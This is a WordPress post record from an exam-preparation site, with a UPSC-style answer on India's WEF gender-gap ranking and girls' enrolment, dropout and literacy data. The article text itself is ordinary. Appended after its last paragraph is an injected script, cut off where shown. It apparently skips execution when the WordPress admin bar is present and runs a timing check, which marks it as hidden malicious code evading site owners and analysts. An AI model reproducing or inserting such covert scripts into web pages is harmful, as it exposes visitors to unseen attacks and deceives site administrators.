{"id":1059,"date":"2024-07-22T04:12:23","date_gmt":"2024-07-22T04:12:23","guid":{"rendered":"https:\/\/iasquest.com\/?p=1059"},"modified":"2026-02-11T19:16:33","modified_gmt":"2026-02-11T19:16:33","slug":"paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-13","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-13\/","title":{"rendered":"PAPER III General Studies- II: Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Issues Relating to Development and Management of Social Sector\/Services relating to Health, Education, Human Resources<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#e10909\"><strong>According to a recent World Economic Forum (WEF) report on worldwide gender inequalities, India is placed 129th out of 146 countries. In light of this statement, critically examine the claim that the education sector has been a key contributor to the gender gap in light of this statement.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The World Economic Forum (WEF) report of 2024 on global gender gaps recently ranked India at 129 out of 146 economies, with a decline in the education sector being one of the reasons for India\u2019s rank slipping a couple of places this year.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Key Findings<\/strong> :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>While the <strong><em>shares of women are high in primary, secondary and tertiary education enrolments<\/em><\/strong>, they have only been modestly increasing, and the <strong><em>gap between men and women\u2019s literacy rate is 17.2 percentage<\/em><\/strong> points wide, leaving India ranked 124th on this indicator and recording a score of <strong>0.964 in the education category.<\/strong>&nbsp;<\/li>\n\n\n\n<li>In the 17th edition, published in 2023, however, India had attained a perfect 1.000 score in terms of educational parity, ranking 26th in that category.&nbsp;<\/li>\n\n\n\n<li>The main indicators being tracked are <strong>enrolment levels<\/strong> in <strong><em>primary, secondary and tertiary education<\/em><\/strong>, as well as the <strong>adult literacy rate<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Educational Statistics of India:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The Union Education Ministry tracks school and college enrolment data using two major collection systems: <strong>the Unified District Information System for Education (UDISE+) <\/strong>and the <strong>All India Survey on Higher Education (AISHE)<\/strong>.&nbsp;<\/li>\n\n\n\n<li>The <strong>UDISE+ report for 2021-22<\/strong> shows that 13.79 crore boys were enrolled in school, in comparison to 12.73 crore girls, meaning that girls make up <strong>48% of the school population<\/strong>.&nbsp;<\/li>\n\n\n\n<li>However, this varies at the different stages of school education. In <strong>preschool<\/strong> or kindergarten, girls make up <strong>46.8% <\/strong>of enrolled children. By primary school <strong>(Classes 1 to 5<\/strong>), this rises to <strong>47.8%,<\/strong> improving still further in upper primary or elementary school (Classes 6 to 8), when <em>girls make up 48.3% of enrolled children<\/em>.&nbsp;<\/li>\n\n\n\n<li>Clearly, some <strong>girls drop out of school<\/strong> at that stage, <strong>when the right to free education ends after Class 8.<\/strong> The gender gap widens in secondary school (Class 9 and 10), with girls dropping to 47.9% of enrolled children.<\/li>\n\n\n\n<li>However, girls who do have access to secondary education are more likely to stick to the finish: the higher secondary level (Class 11 and 12) has the lowest gender gap of 48.3%.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Female participation in Higher Education:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>According to the AISHE report for 2021-22, <strong>the gross enrolment ratio (GER) for women in higher education<\/strong> \u2014 meaning the percentage of the population between <strong><em>18 and 23 years enrolled in colleges and universities<\/em><\/strong> \u2014 across the country was <strong>28.5, slightly higher than the male GER of 28.3.<\/strong>&nbsp;<\/li>\n\n\n\n<li>Female enrolment in higher education has seen a 32% increase since 2014-15. Neither the UDISE+ nor AISHE have yet published data for 2022-23.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Challenges:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Nearby facility of schools:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The biggest impact has come from <strong><em>simply building more schools<\/em><\/strong>.&nbsp;<\/li>\n\n\n\n<li>If a primary school exists within <strong>one or two kilometres of a child\u2019s home,<\/strong> parents are more likely to enrol their children, especially girls.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Regional differences:<\/strong>&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>In Gujarat, where the government built few secondary and higher secondary schools, <em>leaving these largely to the private sector<\/em>, girls make up only 45.2% of students in secondary classes, far behind much poorer States like Jharkhand (50.7%), Chhattisgarh (51.2%), Bihar (50.1%) and even Uttar Pradesh (45.4%).<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Unemployment and Poverty:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Some boys who complete up to the secondary level and then fail simply drop out. There may also be <strong>higher pressure on poorer boys to earn a living<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Availability of low or no female tutors:<\/strong>&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>An adviser on child rights to a State government which has made progress in enrolment says the <em>areas with low enrolment are mostly those with primary schools employing only one or two teachers<\/em>.&nbsp;<\/li>\n\n\n\n<li>If a school has only a male teacher, parents are not comfortable sending their daughters there.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Sanitation issues:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sanitation remains a major obstacle for girls\u2019 education in higher classes, especially after puberty, and may cause a large number of dropouts after Class 8.&nbsp;<\/li>\n\n\n\n<li>Though the Union and State governments have funded the construction of washrooms in schools, there <em>is<\/em><strong><em> no funding for cleaning and maintenance, <\/em><\/strong>which is often left to lax local bodies.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Encouraging female percentage in GER:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Transport to and from school <\/strong>can also be a barrier, and <strong><em>free bus passes for schoolgirls in States like Haryana, Punjab and Tamil Nadu, <\/em><\/strong>as well as <em>schemes to give free cycles to girls in Bihar <\/em>and other States have improved enrolment, though it did not work as well in Rajasthan.&nbsp;<\/li>\n\n\n\n<li>A number of States have successfully closed the gender gap in higher classes, to the extent that there are worries about boys dropping out before completing school.&nbsp;<\/li>\n\n\n\n<li>In <strong>West Bengal <\/strong>for instance, <strong>girls make up 55.7%<\/strong> of higher secondary students, and there are similar situations <strong>in Chhattisgarh (53.1%)<\/strong> and <strong>Tamil Nadu (51.2%).&nbsp;<\/strong><\/li>\n\n\n\n<li>The State government adopted the Right<strong><em> to Education Act stipulating that students cannot fail till Class 8.&nbsp;<\/em><\/strong><\/li>\n\n\n\n<li>At the college level, <em>although the female GER is higher than the male GER<\/em>, the picture changes when looking at regional and discipline-wise data.&nbsp;<\/li>\n\n\n\n<li>For instance, <strong><em>women students make up only 42.5% of those enrolled in STEM subjects from undergraduate to Ph.D levels<\/em><\/strong>, and the challenge lies in encouraging more girls to opt for these disciplines.&nbsp;<\/li>\n\n\n\n<li><strong>Adult literacy<\/strong> is also still a matter of concern, with <strong>only 64.63% of women<\/strong> who <strong>are literate, in comparison to 80.88% of men<\/strong>, according to the last Census data from 2011.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">To improve the GER and adult literacy rate in India, a combination of strong government policies, community engagement, innovative educational methods, and effective use of technology, comprehensive training, and socio-cultural support is essential.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Reference:<\/strong> <a href=\"https:\/\/www.thehindu.com\/education\/what-is-the-gender-gap-in-education-explained\/article68426990.ece#:~:text=%E2%80%9CWhile%20the%20shares%20of%20women,said%2C%20recording%20a%20score%20of\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/education\/what-is-the-gender-gap-in-education-explained\/article68426990.ece#:~:text=%E2%80%9CWhile%20the%20shares%20of%20women,said%2C%20recording%20a%20score%20of<\/a>&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new 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